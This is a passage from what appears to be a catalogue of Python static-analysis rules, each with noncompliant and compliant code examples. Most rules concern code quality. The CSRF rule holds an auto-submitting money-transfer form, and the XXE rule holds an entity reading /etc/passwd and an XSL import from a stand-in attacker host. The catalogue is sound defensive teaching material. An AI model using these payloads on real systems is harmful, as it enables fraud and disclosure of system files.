  • "self" and a value for setter methods.

Adding any other parameter, or removing these mandatory parameters will make method calls fail.

This rule raises an issue when:

  • too many parameters are defined in a property getter, setter or deleter method.
  • the value parameter is missing in a property setter method.

Noncompliant Code Example

class A:
    @property
    def foo(self, unexpected, unexpected2):  # Noncompliant. Too many parameters.
        return self._foo

    @foo.setter
    def foo(self, value, unexpected):  # Noncompliant. Too many parameters.
        self._foo = value

    @foo.deleter
    def foo(self, unexpected):  # Noncompliant. Too many parameters.
        del self._foo

class B:
    def get_foo(self, unexpected):  # Noncompliant. Too many parameters.
        return self._foo

    def set_foo(self, value, unexpected):  # Noncompliant. Too many parameters.
        self._foo = value

    def del_foo(self, unexpected):  # Noncompliant. Too many parameters.
        del self._foo

    foo = property(get_foo, set_foo, del_foo, "'foo' property.")

Compliant Solution

class A:
    @property
    def foo(self):
        return self._foo

    @foo.setter
    def foo(self, value):
        self._foo = value

    @foo.deleter
    def foo(self):
        del self._foo

class B:
    def get_foo(self):
        return self._foo

    def set_foo(self, value):
        self._foo = value

    def del_foo(self):
        del self._foo

    foo = property(get_foo, set_foo, del_foo, "'foo' property.")

See

python:S1763

Jump statements (return, break, continue, and raise) move control flow out of the current code block. So any statements that come after a jump are dead code.

Noncompliant Code Example

def fun(a):
  i = 10
  return i + a       # Noncompliant
  i += 1             # this is never executed

Compliant Solution

def fun(a):
  i = 10
  return i + a

See

python:S5722

Python developers can customize how code is interpreted by defining special methods (also called magic methods). For example, it is possible to override how the multiplication operator (a * b) will apply to instances of a class by defining in this class the __mul__ and __rmul__ methods. Whenever a multiplication operation is performed with this class, the python interpreter will call one of these methods instead of performing the default multiplication.

The python interpreter will always call these methods with the same number of parameters. Every call to a special method will fail if it is defined with an unexpected number of parameters.

This rule raises an issue when a special method is defined with an unexpected number of parameters.

Noncompliant Code Example

class A:
    def __mul__(self, other, unexpected):  # Noncompliant. Too many parameters
        return 42

    def __add__(self):  # Noncompliant. Missing one parameter
        return 42

A() * 3  # TypeError: __mul__() missing 1 required positional argument: 'unexpected'
A() + 3  # TypeError: __add__() takes 1 positional argument but 2 were given

Compliant Solution

class A:
    def __mul__(self, other):
        return 42

    def __add__(self, other):
        return 42

A() * 3
A() + 3

See

python:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Note that this rule will raise issues on a == a and a != a expressions which are sometime used to detect NaN values. It is recommended to use instead math.isnan or an equivalent function. This will improve code readability.

Noncompliant Code Example

if a == a: # Noncompliant
    work()

if  a != a: # Noncompliant
    work()

if  a == b and a == b: # Noncompliant
    work()

if a == b or a == b: # Noncompliant
    work()

j = 5 / 5 # Noncompliant
k = 5 - 5 # Noncompliant

Exceptions

The following are ignored:

  • The expression 1 << 1

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
python:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

def run():
    prepare("this is a duplicate")  # Noncompliant - "this is a duplicate" is duplicated 3 times
    execute("this is a duplicate")
    release("this is a duplicate")

Compliant Solution

ACTION_1 = "action1"

def run():
    prepare(ACTION_1)
    execute(ACTION_1)
    release(ACTION_1)

Exceptions

No issue will be raised on:

  • duplicated string in decorators
  • strings with less than 5 characters
  • strings with only letters, numbers and underscores
@app.route("/api/users/", methods=['GET', 'POST', 'PUT'])
def users():
    pass

@app.route("/api/projects/", methods=['GET', 'POST', 'PUT'])  # Compliant
def projects():
    pass
python:S5717

In Python function parameters can have default values. These default values are expressions which are executed when the function is defined, i.e. only once. The same default value will be used every time the function is called, thus modifying it will have an effect on every subsequent call. This can create some very confusing bugs.

It is also a bad idea to store mutable default value in another object (ex: as an attribute). Multiple instances will then share the same value and modifying one objet will modify all of them.

This rule raises an issue when:

  • a default value is either modified in the function or assigned to anything else than a variable and it has one of the following types:
    • builtins: set, dict, list.
    • collections module: deque, UserList, ChainMap, Counter, OrderedDict, defaultdict, UserDict.
  • or when an attribute of a default value is assigned.

Noncompliant Code Example

In the following example, the parameter "param" has list() as a default value. This list is created only once and then reused in every call. Thus when it appends 'a' to this list, the next call will have ['a'] as a default value.

def myfunction(param=list()):  # Noncompliant.
    param.append('a')  # modification of the default value.
    return param

print(myfunction()) # returns ['a']
print(myfunction()) # returns ['a', 'a']
print(myfunction()) # returns ['a', 'a', 'a']

In the following example the same list is used for multiple instances of MyClass.param.

class MyClass:
    def __init__(self, param=list()):  # Noncompliant.
        self.param = param  # The same list is used for every instance of MyClass

    def process(self, value):
        self.param.append(value)  # modifying the same list

a1, a2 = (MyClass(), MyClass())
a1.process("value")
print(a1.param)  # ['value']
print(a2.param)  # ['value']

Compliant Solution

def myfunction(param=None):
    if param is None:
        param = list()
    param.append('a')
    return param

print(myfunction()) # returns ['a']
print(myfunction()) # returns ['a']
print(myfunction()) # returns ['a']
class MyClass:
    def __init__(self, param=None):
        if param is None:
            self.param = list()
        else:
            self.param = param

    def process(self, value):
        self.param.append(value)

a1, a2 = (MyClass(), MyClass())
a1.process("value")
print(a1.param)  # ['value']
print(a2.param)  # []

Exceptions

In some very rare cases modifying a default value is ok. For example, default values can be used as a cache.

No issue will be raised when the parameter's name contains "cache" or "memo" (as in memoization).

See

python:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

Sensitive Code Example

Django

from django.conf import settings

settings.configure(DEBUG=True)  # Sensitive when set to True
settings.configure(DEBUG_PROPAGATE_EXCEPTIONS=True)  # Sensitive when set to True

def custom_config(config):
    settings.configure(default_settings=config, DEBUG=True)  # Sensitive

Django's "settings.py" or "global_settings.py" configuration file

# NOTE: The following code raises issues only if the file is named "settings.py" or "global_settings.py". This is the default
# name of Django configuration file

DEBUG = True  # Sensitive
DEBUG_PROPAGATE_EXCEPTIONS = True  # Sensitive

See

python:S2208

Importing every public name from a module using a wildcard (from mymodule import *) is a bad idea because:

  • It could lead to conflicts between names defined locally and the ones imported.
  • It reduces code readability as developers will have a hard time knowing where names come from.
  • It clutters the local namespace, which makes debugging more difficult.

Remember that imported names can change when you update your dependencies. A wildcard import which works today might be broken tomorrow.

There are two ways to avoid a wildcard import:

  • Replace it with import mymodule and access module members as mymodule.myfunction. If the module name is too long, alias it to a shorter name. Example: import pandas as pd
  • List every imported name. If necessary import statements can be split on multiple lines using parentheses (preferred solution) or backslashes.

Noncompliant Code Example

from math import *  # Noncompliant
def exp(x):
    pass
print(exp(0))   # "None" will be printed

Compliant Solution

import math
def exp(x):
    pass
print(math.exp(0))   # "1.0" will be printed

Or

from math import exp as m_exp
def exp(x):
    pass
print(m_exp(0))   # "1.0" will be printed

Exceptions

No issue will be raised in __init__.py files. Wildcard imports are a common way of populating these modules.

No issue will be raised in modules doing only imports. Local modules are sometimes created as a proxy for third-party modules.

# file: mylibrary/pyplot.py
try:
    from guiqwt.pyplot import *  # Ok
except Exception:
    from matplotlib.pyplot import *  # Ok

Just keep in mind that wildcard imports might still create issues in these cases. It's always better to import only what you need.

See

python:S5439

Template engines have an HTML autoescape mechanism that protects web applications against most common cross-site-scripting (XSS) vulnerabilities.

By default, it automatically replaces HTML special characters in any template variables. This secure by design configuration should not be globally disabled.

Escaping HTML from template variables prevents switching into any execution context, like <script>. Disabling autoescaping forces developers to manually escape each template variable for the application to be safe. A more pragmatic approach is to escape by default and to manually disable escaping when needed.

A successful exploitation of a cross-site-scripting vulnerability by an attacker allow him to execute malicious JavaScript code in a user's web browser. The most severe XSS attacks involve:

  • Forced redirection
  • Modify presentation of content
  • User accounts takeover after disclosure of sensitive information like session cookies or passwords

This rule supports the following libraries:

Noncompliant Code Example

from jinja2 import Environment

env = Environment() # Noncompliant; New Jinja2 Environment has autoescape set to false
env = Environment(autoescape=False) # Noncompliant

Compliant Solution

from jinja2 import Environment
env = Environment(autoescape=True) # Compliant

See

Deprecated

This rule is deprecated; use S5247 instead.

python:S5714

The only two possible types for an except's expression are a class deriving from BaseException, or a tuple composed of such classes (or an old style class if you are using python 2, but this has been removed in python 3).

This rule raises an issue when the expression used in an except block is a boolean expression of exceptions. The result of such expression is a single exception class, which is valid but not what the developer intended.

Noncompliant Code Example

try:
    raise TypeError()
except ValueError or TypeError:  # Noncompliant
    print("Catching only ValueError")
except ValueError and TypeError:  # Noncompliant
    print("catching only TypeError")
except (ValueError or TypeError) as exception:  # Noncompliant
    print("Catching only ValueError")

foo = ValueError or TypeError  # foo == ValueError
foo = ValueError and TypeError  # foo == TypeError

Compliant Solution

try:
    raise TypeError()
except (ValueError, TypeError) as exception:
    print("Catching all exceptions")

See

python:S1515

Nested functions and lambdas can reference variables defined in enclosing scopes. This can create tricky bugs when the variable and the function are defined in a loop. If the function is called in another iteration or after the loop finishes, it will see the variables' last value instead of seeing the values corresponding to the iteration where the function was defined.

Capturing loop variables might work for some time but:

  • it makes the code difficult to understand.
  • it increases the risk of introducing a bug when the code is refactored or when dependencies are updated. See an example with the builtin "map" below.

One solution is to add a parameter to the function/lambda and use the previously captured variable as its default value. Default values are only executed once, when the function is defined, which means that the parameter's value will remain the same even when the variable is reassigned in following iterations.

Another solution is to pass the variable as an argument to the function/lambda when it is called.

This rule raises an issue when a function or lambda references a variable defined in an enclosing loop.

Noncompliant Code Example

def run():
    mylist = []
    for i in range(5):
        mylist.append(lambda: i)  # Noncompliant

        def func():
            return i  # Noncompliant
        mylist.append(func)

def example_of_api_change():
    """"
    Passing loop variable as default values also makes sure that the code is future-proof.
    For example the following code will work as intended with python 2 but not python 3.
    Why? because "map" behavior changed. It now returns an iterator and only executes
    the lambda when required. The same is true for other functions such as "filter".
    """
    lst = []
    for i in range(5):
        lst.append(map(lambda x: x + i, range(3)))  # Noncompliant
    for sublist in lst:
        # prints [4, 5, 6] x 4 with python 3, with python 2 it prints [0, 1, 2], [1, 2, 3], ...
        print(list(sublist))

Compliant Solution

def run():
    mylist = []
    for i in range(5):
        mylist.append(lambda i=i: i)  # passing the variable as a parameter with a default value

        def func(i=i):  # same for nested functions
            return i
        mylist.append(func)

def example_of_api_change():
    """"
    This will work for both python 2 and python 3.
    """
    lst = []
    for i in range(5):
        lst.append(map(lambda x, value=i: x + value, range(3)))  # Passing "i" as a default value
    for sublist in lst:
        print(list(sublist))

Exceptions

No issue will be raised if the function or lambda is directly called in the same loop. This still makes the design difficult to understand but it is less error prone.

def function_called_in_loop():
    for i in range(10):
        print((lambda param: param * i)(42)) # Calling the lambda directly

        def func(param):
            return param * i

        print(func(42))  # Calling "func" directly

See

python:PrintStatementUsage

The print statement was removed in Python 3.0. The built-in function should be used instead.

Noncompliant Code Example

print '1'  # Noncompliant

Compliant Solution

print('1')
python:S5719

Every instance method is expected to have at least one positional parameter. This parameter will reference the object instance on which the method is called. Calling an instance method which doesn't have at least one parameter will raise a "TypeError". By convention, this first parameter is usually named "self".

Class methods, i.e. methods annotated with @classmethod, also require at least one parameter. The only differences is that it will receive the class itself instead of a class instance. By convention, this first parameter is usually named "cls". Note that __new__ and __init_subclass__ take a class as first argument even thought they are not decorated with @classmethod.

This rule raises an issue when an instance of class method does not have at least one positional parameter.

Noncompliant Code Example

class MyClass:
    def instance_method():  # Noncompliant. "self" parameter is missing.
        print("instance_method")

    @classmethod
    def class_method():  # Noncompliant. "cls" parameter is missing.
        print("class_method")

Compliant Solution

class MyClass:
    def instance_method(self):
        print("instance_method")

    @classmethod
    def class_method(cls):
        print("class_method")


    @staticmethod
    def static_method():
        print("static_method")

See

python:S5796

Identity operators is and is not check if the same object is on both sides, i.e. a is b returns True if id(a) == id(b).

When a new object is created it will have its own identity. Thus if an object is created and used only in an identity check it is not possible for the other operand to be the same object. The comparison is always False or always True depending on the operator used, is or is not. To avoid this problem the identity operator could be replaced with an equality operator (== or !=), which will use __eq__ or __ne__ methods under the hood.

This rule raises an issue when at least one operand of an identity operator is a new object which has been created just for this check, i.e.:

  • When it is a dict, list or set literal.
  • When it is a call to dict, set, list or complex built-in functions.
  • When such a new object is assigned to only one variable and this variable is used in an identity check.

Noncompliant Code Example

def func(param):
    param is {1: 2}  # Noncompliant; always False
    param is not {1, 2, 3}  # Noncompliant; always True
    param is [1, 2, 3]  # Noncompliant; always False

    param is dict(a=1)  # Noncompliant; always False

    mylist = []  # mylist is assigned a new object
    param is mylist  # Noncompliant; always False

Compliant Solution

def func(param):
    param == {1: 2}
    param != {1, 2, 3}
    param == [1, 2, 3]

    param == dict(a=1)

    mylist = []
    param == mylist

See

python:S5797

When a constant is used as a condition, either it has no effect on the execution flow and it can be removed, or some code will never be executed and it is a bug.

This rule raises an issue when a constant expression is used as a condition in an if, elif, a conditional expression or other boolean expressions.

Noncompliant Code Example

def func(param = None):
    param = (1,)
    if param:  # Noncompliant. var is always set to (1,), the first branch of the if will always execute.
        return sum(param)
    else:
        return None

var2 = 1 if func else 2  # Noncompliant. "func" will always be equivalent to True.
var3 = func and 1 else 2  # Noncompliant.

Compliant Solution

def func(param = None):
    if param is None:
        param = (1,)
    if param:
        return sum(param)
    else:
        return None

var2 = 1 if func() else 2
var3 = func() and 1 else 2

See

python:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

return ((3))        # Noncompliant
return ((x + 1))    # Noncompliant
x = ((y / 2)) + 1   # Noncompliant

Compliant Solution

return 3
return (3)
return x + 1
return (x + 1)
x = y / 2 + 1
x = (y / 2) + 1
python:S5795

Identity operators is and is not check if the same object is on both sides, i.e. a is b returns True if id(a) == id(b).

Integers, bytes, floats, strings, frozensets and tuples should not be compared with identity operators because the result may not be as expected. If you need to compare these types you should use instead equality operators == or !=.

The CPython interpreter caches certain builtin values for integers, bytes, floats, strings, frozensets and tuples. For example, the literal 1 will create the same object as int("1"), which means that 1 is int("1") is True. However this works only by chance as other integer values are not cached, for example int("1000") is 1000 will always be False. This behavior is not part of Python language specification and could vary between interpreters. CPython 3.8 even warns about comparing literals using identity operators.

The only case where using the "is" operator with a cached type is ok is with "interned" strings. Note however that interned strings don't necessarily have the same identity as string literals.

This rule raises an issue when at least one operand of an identity operator:

  • is of type int, bytes, float, frozenset or tuple.
  • or it is a string literal.

Noncompliant Code Example

def literal_comparison(param):
    param is 2000  # Noncompliant

literal_comparison(2000)  # will return True
literal_comparison(int("2000"))  # will return False

() is tuple()  # Noncompliant. Always True
(1,) is tuple([1])  # Noncompliant. Always False

from sys import intern

with open("test.txt") as f:  # test.txt contains "blabla\n"
    text = f.read()
intern(text) is "blabla\n"  # Noncompliant. Always False

Compliant Solution

def literal_comparison(param):
    param == 2000

literal_comparison(2000)  # will return True
literal_comparison(int("2000"))  # will return True

() == tuple()  # Always True
(1,) == tuple([1])  # Always True

from sys import intern

with open("tmp/test.txt") as f:  # test.txt contains "blabla\n"
    text = f.read()
intern(text) is intern("blabla\n")  # Always True

See

python:S4502

CSRF vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent.

<body onload="document.forms[0].submit()">
<form>
<form action="http://mybank.com/account/transfer_money" method="POST">
    <input type="hidden" name="accountNo" value="attacker_account_123456"/>
    <input type="hidden" name="amount" value="10000"/>
    <input type="submit" value="Steal money"/>
</form>

If an user visits the attacker's website which contains the above malicious code, his bank account will be debited without his consent and notice.

Ask Yourself Whether

  • There exist sensitive operations on the web application that can be performed when the user is authenticated.
  • The state / resources of the web application could be modified by doing HTTP POST or HTTP DELETE requests for example.
  • The web application is not only a public API designed to be requested by external websites.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Protection against CSRF attacks is strongly recommended:
    • to be activated by default for all unsafe HTTP methods.
    • implemented, for example, with an unguessable CSRF token
  • Of course all sensitive operations should not be performed with safe HTTP methods like GET which are designed to be used only for information retrieval.

Sensitive Code Example

For a Django application, the code is sensitive when,

  • django.middleware.csrf.CsrfViewMiddleware is not used in the Django settings:
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
] # Sensitive: django.middleware.csrf.CsrfViewMiddleware is missing
  • the CSRF protection is disabled on a view:
@csrf_exempt # Sensitive
def example(request):
    return HttpResponse("default")

For a Flask application, the code is sensitive when,

  • the WTF_CSRF_ENABLED setting is set to false:
app = Flask(__name__)
app.config['WTF_CSRF_ENABLED'] = False # Sensitive
  • the application doesn't use the CSRFProtect module:
app = Flask(__name__) # Sensitive: CSRFProtect is missing

@app.route('/')
def hello_world():
    return 'Hello, World!'
  • the CSRF protection is disabled on a view:
app = Flask(__name__)
csrf = CSRFProtect()
csrf.init_app(app)

@app.route('/example/', methods=['POST'])
@csrf.exempt # Sensitive
def example():
    return 'example '
  • the CSRF protection is disabled on a form:
class unprotectedForm(FlaskForm):
    class Meta:
        csrf = False # Sensitive

    name = TextField('name')
    submit = SubmitField('submit')

Compliant Solution

For a Django application,

  • it is recommended to protect all the views with django.middleware.csrf.CsrfViewMiddleware:
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware', # Compliant
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
  • and to not disable the CSRF protection on specific views:
def example(request): # Compliant
    return HttpResponse("default")

For a Flask application,

  • the CSRFProtect module should be used (and not disabled further with WTF_CSRF_ENABLED set to false):
app = Flask(__name__)
csrf = CSRFProtect()
csrf.init_app(app) # Compliant
  • and it is recommended to not disable the CSRF protection on specific views or forms:
@app.route('/example/', methods=['POST']) # Compliant
def example():
    return 'example '

class unprotectedForm(FlaskForm):
    class Meta:
        csrf = True # Compliant

    name = TextField('name')
    submit = SubmitField('submit')

See

python:S5712

In Python, special methods corresponding to numeric operators, rich comparison operators and the __length_hint__ method should return NotImplemented when the operation is not supported. These methods should not raise NotImplementedError as callers don't expect it and won't catch this exception.

For example A + B is equivalent to calling A.__add__(B). If this binary operation is not supported by class A, A.__add__(B) should return NotImplemented. The interpreter will then try the reverse operation, i.e. B.__radd__(A). This enables adding new operations by changing only one class instead of two.

This rule raises an issue when one of the following methods raises NotImplementedError instead of returning NotImplemented:

  • __lt__(self, other)
  • __le__(self, other)
  • __eq__(self, other)
  • __ne__(self, other)
  • __gt__(self, other)
  • __ge__(self, other)
  • __add__(self, other)
  • __sub__(self, other)
  • __mul__(self, other)
  • __matmul__(self, other)
  • __truediv__(self, other)
  • __floordiv__(self, other)
  • __mod__(self, other)
  • __divmod__(self, other)
  • __pow__(self, other[, modulo])
  • __lshift__(self, other)
  • __rshift__(self, other)
  • __and__(self, other)
  • __xor__(self, other)
  • __or__(self, other)
  • __radd__(self, other)
  • __rsub__(self, other)
  • __rmul__(self, other)
  • __rmatmul__(self, other)
  • __rtruediv__(self, other)
  • __rfloordiv__(self, other)
  • __rmod__(self, other)
  • __rdivmod__(self, other)
  • __rpow__(self, other[, modulo])
  • __rlshift__(self, other)
  • __rrshift__(self, other)
  • __rand__(self, other)
  • __rxor__(self, other)
  • __ror__(self, other)
  • __iadd__(self, other)
  • __isub__(self, other)
  • __imul__(self, other)
  • __imatmul__(self, other)
  • __itruediv__(self, other)
  • __ifloordiv__(self, other)
  • __imod__(self, other)
  • __ipow__(self, other[, modulo])
  • __ilshift__(self, other)
  • __irshift__(self, other)
  • __iand__(self, other)
  • __ixor__(self, other)
  • __ior__(self, other)
  • __length_hint__(self)

Noncompliant Code Example

class MyClass:
    def __add__(self, other):
        raise NotImplementedError()  # Noncompliant
    def __radd__(self, other):
        raise NotImplementedError()  # Noncompliant

class MyOtherClass:
    def __add__(self, other):
        return 42
    def __radd__(self, other):
        return 42

MyClass() + MyOtherClass()  # This will raise NotImplementedError

Compliant Solution

class MyClass:
    def __add__(self, other):
        return NotImplemented
    def __radd__(self, other):
        return NotImplemented

class MyOtherClass:
    def __add__(self, other):
        return 42
    def __radd__(self, other):
        return 42

MyClass() + MyOtherClass()  # This returns 42

See

python:S1871

Having two branches in the same if structure with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then they should be combined.

Noncompliant Code Example

if 0 <= a < 10:
    do_first()
    do_second()
elif 10 <= a < 20:
    do_the_other_thing()
elif 20 <= a < 50:
    do_first()         # Noncompliant; duplicates first condition
    do_second()

Exceptions

Blocks in an if chain that contain a single line of code are ignored.

if 0 <= a < 10:
    do_first()
elif 10 <= a < 20:
    do_the_other_thing()
elif 20 <= a < 50:
    do_first()         # no issue, usually this is done on purpose to increase the readability

But this exception does not apply to if chains without else-s when all branches have the same single line of code. In case of if chains with else-s rule S3923 raises a bug.

if 0 <= a < 10:
    do_first()
elif 20 <= a < 50:
    do_first()         # Noncompliant, this might have been done on purpose but probably not
python:S2201

When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected.

This rule raises an issue when a builtin function or methods which has no side effects is called and its result is not used.

Noncompliant Code Example

myvar = "this is a multiline"
"message from {}".format(sender)  # Noncompliant. The formatted string is not used because the concatenation is not done properly.

Compliant Solution

myvar = ("this is a multiline"
"message from {}".format(sender))

Exceptions

No issue will be raised when the function or method call is in a try...except body. This usually indicates that an exception is expected, and this exception is the side-effect.

def tryExcept():
    d = {}
    try:
        d[1]
    except IndexError as e:
        pass

    try:
        divmod(1, 0)
    except ZeroDivisionError as e:
        pass

See

python:S1751

A loop with at most one iteration is equivalent to the use of an if statement to conditionally execute one piece of code. No developer expects to find such a use of a loop statement. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead.

At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested return, break or raise statements in a more appropriate way.

Noncompliant Code Example

while node is not None:
  node = node.parent()
  print(node)
  break

Compliant Solution

while node is not None:
  node = node.parent()
  print(node)
python:S5713

Repeating an exception class in a single except statement will not fail but it is not what the developer intended. Either the class is not the one which should be caught, or this is dead code.

Having a subclass and a parent class in the same except statement is also useless. It is enough to keep only the parent class.

This rule raises an issue when an exception class is duplicated in an except statement, or when an exception class has a parent class in the same except statement.

Noncompliant Code Example

try:
    raise NotImplementedError()
except (NotImplementedError, RuntimeError):  # Noncompliant. NotImplementedError inherits from RuntimeError
    print("Foo")

try:
    raise NotImplementedError()
except (RuntimeError, RuntimeError):  # Noncompliant.
    print("Foo")

Compliant Solution

try:
    raise NotImplementedError()
except RuntimeError:
    print("Foo")

See

python:S2325

Class methods that don't access instance data can and should be static because they yield more performant code.

To implement a static method in Python one should use either @classmethod or @staticmethod. A class method receives the class as implicit first argument, just like an instance method receives the instance. A static method does not receive an implicit first argument.

Noncompliant Code Example

class Utilities:
    def do_the_thing(self, arg1, arg2, ...):  # Noncompliant
        #...

Compliant Solution

class Utilities:
    @classmethod
    def do_the_thing(cls, arg1, arg2, ...):
        #...

or

class Utilities:
    @staticmethod
    def do_the_thing(arg1, arg2, ...):
        #...

Exceptions

Methods which raise or may raise a NotImplementedError are ignored.

python:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

python:S5799

Python concatenates adjacent string or byte literals at compile time. It means that "a" "b" is equivalent to "ab". This is sometimes used to split a long string on multiple lines. However an implicit string concatenation can also be very confusing. In the following contexts it might indicate that a comma was forgotten:

  • when the two strings are on the same line it looks like a badly formatted tuple. Parenthesises are not mandatory to create a tuple, only the comma is.
  • when the strings are in a list, set or tuple.

Noncompliant Code Example

def func():
    return "item1" "item2"  # Noncompliant

["1",
 "2"  # Noncompliant
 "3",
 "a very very very"  # Noncompliant
 "very very long string",
 "4"]

Compliant Solution

def func():
    return "item1", "item2"

["1",
 "2",
 "3",
 "a very very very" +
 "very very long string",
 "4"]

Exceptions

No issue will be raised when there is a visible reason for the string concatenation:

  • when the quotes used for both strings are different. This can be used to avoid escaping quotes
  • when the strings or bytes have different prefixes, i.e. "f" for f-strings, "r" for raw, "u" for unicode and no prefix for normal strings.
  • when strings are visibly split to avoid long lines of code. (Example: the first string ends with a space, punctuation or \n).
python:S5953

Variables, Classes and functions should not be undefined, otherwise the code will fail with a NameError.

Noncompliant Code Example

my_var # Noncompliant (variable is never defined)

def noncompliant():
    foo()  # Noncompliant
    MyClass()  # Noncompliant

Compliant Solution

from mod import my_var

my_var

def compliant():
    foo = sum
    foo()

    class MyClass:
        pass
    MyClass()
python:S2190

Recursion happens when control enters a loop that has no exit. This can happen when a method invokes itself or when a pair of methods invoke each other. It can be a useful tool, but unless the method includes a provision to break out of the recursion and return, the recursion will continue until the stack overflows and the program crashes.

Noncompliant Code Example

def my_pow(num, exponent):  # Noncompliant
    num = num * my_pow(num, exponent - 1)
    return num  # this is never reached

Compliant Solution

def my_pow(num, exponent):  # Compliant
    if exponent > 1:
      num = num * my_pow(num, exponent - 1)
    return num
python:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression.

Exceptions

Loop counters are ignored by this rule.

for i in range(limit):  # Compliant
    print(i)
python:ExecStatementUsage

Use of the exec statement could be dangerous, and should be avoided. Moreover, the exec statement was removed in Python 3.0. Instead, the built-in exec() function can be used.

Noncompliant Code Example

exec 'print 1' # Noncompliant

Compliant Solution

exec('print 1')
python:S116

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[_a-z][_a-z0-9]*$:

class MyClass:
  myField = 1

Compliant Solution

class MyClass:
  my_field = 1
python:S113

Some tools such as Git work better when files end with an empty line. This rule simply generates an issue if it is missing.

For example, a Git diff looks like this if the empty line is missing at the end of the file:

<pre>

+class Test:

+ pass

\ No newline at end of file

</pre>

python:ClassComplexity

The cyclomatic complexity of a class should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain.

Deprecated

This rule is deprecated, and will eventually be removed.

python:S1700

It's confusing to have a class member with the same name (case differences aside) as its enclosing class. This is particularly so when you consider the common practice of naming a class instance for the class itself.

Best practice dictates that any field or member with the same name as the enclosing class be renamed to be more descriptive of the particular aspect of the class it represents or holds.

Noncompliant Code Example

class Foo:
  foo = ''

  def getFoo(self):
    ...

foo = Foo()
foo.getFoo() # what does this return?

Compliant Solution

class Foo:
  name = ''

  def getName(self):
    ...

foo = Foo()
foo.getName()
python:S2755

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

Noncompliant Code Example

lxml module:

  • When parsing XML:
parser = etree.XMLParser() # Noncompliant: by default resolve_entities is set to true
tree1 = etree.parse('ressources/xxe.xml', parser)
root1 = tree1.getroot()

parser = etree.XMLParser(resolve_entities=True) # Noncompliant
tree1 = etree.parse('ressources/xxe.xml', parser)
root1 = tree1.getroot()
  • When validating XML:
parser = etree.XMLParser(resolve_entities=True) # Noncompliant
treexsd = etree.parse('ressources/xxe.xsd', parser)
rootxsd = treexsd.getroot()
schema = etree.XMLSchema(rootxsd)
  • When transforming XML:
ac = etree.XSLTAccessControl(read_network=True, write_network=False)  # Noncompliant, read_network is set to true/network access is authorized
transform = etree.XSLT(rootxsl, access_control=ac)

xml.sax module:

parser = xml.sax.make_parser()
myHandler = MyHandler()
parser.setContentHandler(myHandler)

parser.setFeature(feature_external_ges, True) # Noncompliant
parser.parse("ressources/xxe.xml")

Compliant Solution

lxml module:

  • When parsing XML, disable resolveentities_ and network access:
parser = etree.XMLParser(resolve_entities=False, no_network=True) # Compliant
tree1 = etree.parse('ressources/xxe.xml', parser)
root1 = tree1.getroot()
parser = etree.XMLParser(resolve_entities=False) # Compliant: by default no_network is set to true
treexsd = etree.parse('ressources/xxe.xsd', parser)
rootxsd = treexsd.getroot()
schema = etree.XMLSchema(rootxsd) # Compliant
  • When transforming XML, disable access to network and file system:
parser = etree.XMLParser(resolve_entities=False) # Compliant
treexsl = etree.parse('ressources/xxe.xsl', parser)
rootxsl = treexsl.getroot()

ac = etree.XSLTAccessControl.DENY_ALL  # Compliant
transform = etree.XSLT(rootxsl, access_control=ac) # Compliant

